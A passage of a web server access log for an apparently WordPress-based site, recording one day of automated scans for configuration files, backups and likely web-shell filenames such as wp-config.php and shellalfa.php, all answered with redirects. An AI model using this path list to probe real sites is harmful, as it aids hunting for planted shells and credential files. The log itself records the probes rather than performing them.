HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:37 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:41 +0300] "GET /wp-content/cache/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:46 +0300] "GET /wp-content/wp-cloudflare-super-page-cache/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:51 +0300] "GET /wp-includes/SimplePie/library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:52 +0300] "GET /wp-includes/abilities-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:52 +0300] "GET /wp-content/languages/loco/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:57 +0300] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:58 +0300] "GET /wp-admin/includes/class-theme-installer-skin-client.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:02 +0300] "GET /wp-includes/class-wp-recovery-mode-link-service-edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:07 +0300] "GET /wp-admin/user-new-reference.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:12 +0300] "GET /vendor/stripe/stripe-php/lib/FinancialConnections/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:17 +0300] "GET /vendor/stripe/stripe-php/lib/Service/FinancialConnections/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:22 +0300] "GET /wp-includes/blocks/post-excerpt-meta.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:25 +0300] "GET /wp-includes/ID3/module.audio-video.riff-http.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:30 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:35 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:40 +0300] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:45 +0300] "GET /wp-includes/js/thickbox/logs1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:50 +0300] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:55 +0300] "GET /wp-admin/xy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:15:59 +0300] "GET /wp-includes/xy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:04 +0300] "GET /wp-includes/theme-compat/footer-class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:09 +0300] "GET /wp-content/good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:14 +0300] "GET /wp-admin/editor/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:19 +0300] "GET /wp-admin/profile/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:24 +0300] "GET /summia/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:29 +0300] "GET /wp-content/wp-content/languages/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:34 +0300] "GET /wp-content/wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:37 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:42 +0300] "GET /wp-content/h2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:47 +0300] "GET /wp-content/mu-plugins/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:52 +0300] "GET /wp-content/upgrade-temp-backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:16:57 +0300] "GET /wp-admin/images/Base.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:02 +0300] "GET /wp-content/plugins.bk/contact-form-7/includes/js/jquery-ui/themes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:07 +0300] "GET /wp-content/plugins.bk/js_composer/include/classes/vendors/plugins/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:12 +0300] "GET /wp-content/plugins.bk/wordpress-seo/admin/import/plugins/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:17 +0300] "GET /wp-includes/js/tinymce/plugins/wp-mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:22 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:26 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:26 +0300] "GET /wp-admin/user/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:31 +0300] "GET /com.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:34 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:37 +0300] "GET /wp-content/network/uploads/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:42 +0300] "GET /wp-content/languages/plugins/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:47 +0300] "GET /wp-content/backups-dup-pro/imports/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:52 +0300] "GET /wp-content/ai1wm-backups/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:17:57 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:02 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:07 +0300] "GET /wp-admin/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:12 +0300] "GET /wp-includes/ID3/wp-themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:17 +0300] "GET /wp-admin/js/widgets/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:22 +0300] "GET /wp-includes/Requests/src/Exception/Transport/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:22 +0300] "GET /wp-includes/Requests/src/Response/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:22 +0300] "GET /wp-includes/block-supports/wp-sing.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:27 +0300] "GET /wp-includes/blocks/button/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:28 +0300] "GET /wp-includes/blocks/media-text/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:28 +0300] "GET /wp-includes/blocks/missing/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:29 +0300] "GET /wmore1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:34 +0300] "GET /wp-includes/ID3/img/content/media/lnl/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:39 +0300] "GET /wp-includes/blocks/gallery/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:39 +0300] "GET /wp-includes/l10n/includes/content/v2/uploads/docs/yat/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:44 +0300] "GET /cache/adminkontol.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:49 +0300] "GET /wp-includes/Text/vx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:54 +0300] "GET /database/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:18:59 +0300] "GET /wp-admin/uploads/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:04 +0300] "GET /wp-admin/block/img/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:09 +0300] "GET /wp-includes/blocks/preformatted/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:10 +0300] "GET /wp-content/languages/themes/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:15 +0300] "GET /wp-includes/js/tinymce/plugins/home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:20 +0300] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:20 +0300] "GET /wp-includes/Text/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:25 +0300] "GET /wp-includes/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:28 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:33 +0300] "GET /wp-includes/w.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:38 +0300] "GET /wp-includes/class-wp-http-client.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:43 +0300] "GET /class-wp-http-client.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:46 +0300] "GET /wp-includes/blocks/tag-cloud/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:47 +0300] "GET /nic.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:51 +0300] "GET /wp-includes/fonts/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:54 +0300] "GET /wp-includes/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:19:59 +0300] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:20:02 +0300] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:20:07 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:20:12 +0300] "GET /wp-includes/js/tinymce/themes/api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:20:17 +0300] "GET /wp-includes/js/tinymce/plugins/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:20:20 +0300] "GET /wp-includes/css/dist/components/wp-cron-activation.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:20:25 +0300] "GET /wp-includes/css/dist/block-library/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:20:29 +0300] "GET /wp-includes/css/dist/base-styles/user/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:20:32 +0300] "GET /wp-includes/abilities-api/Parse/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:20:37 +0300] "GET /wp-includes/sitemaps/providers/html-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 80.94.95.173 - - [26/Apr/2026:06:51:36 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 162.62.132.25 - - [26/Apr/2026:06:56:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 107.152.42.105 - - [26/Apr/2026:07:10:10 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.130.16.212 - - [26/Apr/2026:08:00:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.42.104.32 - - [26/Apr/2026:06:38:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 80.90.184.30 - - [26/Apr/2026:09:22:20 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 85.137.48.167 - - [26/Apr/2026:08:32:01 +0300] "GET /userfuns.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 159.203.174.207 - - [26/Apr/2026:09:28:39 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 113.212.111.1 - - [26/Apr/2026:07:09:57 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 103.162.221.164 - - [26/Apr/2026:11:10:31 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 115.45.43.75 - - [26/Apr/2026:09:57:08 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.3364.56 Safari/537.36 Edge/18.18362" 69.171.249.9 - - [26/Apr/2026:11:28:28 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 200.114.81.20 - - [26/Apr/2026:10:57:28 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 106.54.62.156 - - [26/Apr/2026:13:22:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 212.135.214.5 - - [26/Apr/2026:13:14:49 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 62.171.167.158 - - [26/Apr/2026:12:40:41 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 49.51.52.250 - - [26/Apr/2026:13:48:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 114.119.153.104 - - [26/Apr/2026:12:56:06 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 194.26.192.241 - - [26/Apr/2026:13:40:53 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 43.163.206.70 - - [26/Apr/2026:14:51:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.69.66.178 - - [26/Apr/2026:15:34:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [26/Apr/2026:15:34:22 +0300] "GET /hypo.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [26/Apr/2026:15:34:25 +0300] "GET /insc.php HTTP/1.1" 301 795 "-" "-" 102.129.223.92 - - [26/Apr/2026:16:13:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 62.60.149.161 - - [26/Apr/2026:17:08:45 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 111.230.27.213 - - [26/Apr/2026:18:31:56 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.177.238.46 - - [26/Apr/2026:18:13:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0" 144.172.99.31 - - [26/Apr/2026:17:03:16 +0300] "HEAD /wp-content.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 85.137.48.167 - - [26/Apr/2026:20:28:54 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 4.223.137.70 - - [26/Apr/2026:20:53:05 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:54:02 +0300] "GET /gelap.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:54:45 +0300] "GET /oylki.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:55:23 +0300] "GET /wp1.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:56:01 +0300] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:56:42 +0300] "GET /fun.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:57:12 +0300] "GET /te.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:04:53 +0300] "GET /lgr.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:05:47 +0300] "GET /inde.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:09:12 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:10:13 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:15:01 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:15:28 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:15:32 +0300] "GET /zzkhe.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:18:23 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:21:05 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 45.154.98.172 - - [26/Apr/2026:18:44:02 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.172 - - [26/Apr/2026:18:44:03 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 4.223.137.70 - - [26/Apr/2026:20:49:57 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:50:12 +0300] "GET /wp-x7.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:52:02 +0300] "GET /puvil.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:52:25 +0300] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:53:28 +0300] "GET /file3.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:54:26 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:55:30 +0300] "GET /33.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:55:55 +0300] "GET /zxin.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:56:54 +0300] "GET /huyaa.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:58:31 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:59:47 +0300] "GET /wpls.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:01:02 +0300] "GET /wp-xx.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:01:25 +0300] "GET /testo.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:02:04 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:02:26 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:08:55 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:09:00 +0300] "GET /shellalfa.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:10:30 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:13:10 +0300] "GET /lo.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:18:40 +0300] "GET /moon3.php HTTP/1.1" 301 795 "-" "-" 45.154.98.172 - - [26/Apr/2026:18:44:03 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.172 - - [26/Apr/2026:18:44:03 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 4.223.137.70 - - [26/Apr/2026:20:53:23 +0300] "GET /wdone1.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:53:33 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:53:36 +0300] "GET /blox.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:55:39 +0300] "GET /wp-gr.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:55:43 +0300] "GET /mans.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:58:07 +0300] "GET /file4.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:58:16 +0300] "GET /sk25_1.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:20:59:37 +0300] "GET /mamzi.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:03:27 +0300] "GET /class-config.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:03:38 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:06:31 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:06:33 +0300] "GET /zicgg.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:07:44 +0300] "GET /file32.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:11:09 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:11:30 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:11:38 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:15:43 +0300] "GET /wp-xm.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:16:25 +0300] "GET /asas.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:16:28 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:16:54 +0300] "GET /wuasr.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:17:37 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:19:13 +0300] "GET /revealability.php HTTP/1.1" 301 795 "-" "-" 4.223.137.70 - - [26/Apr/2026:21:20:24 +0300] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 139.59.0.80 - - [26/Apr/2026:23:00:42 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 45.154.98.172 - - [26/Apr/2026:18:44:02 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 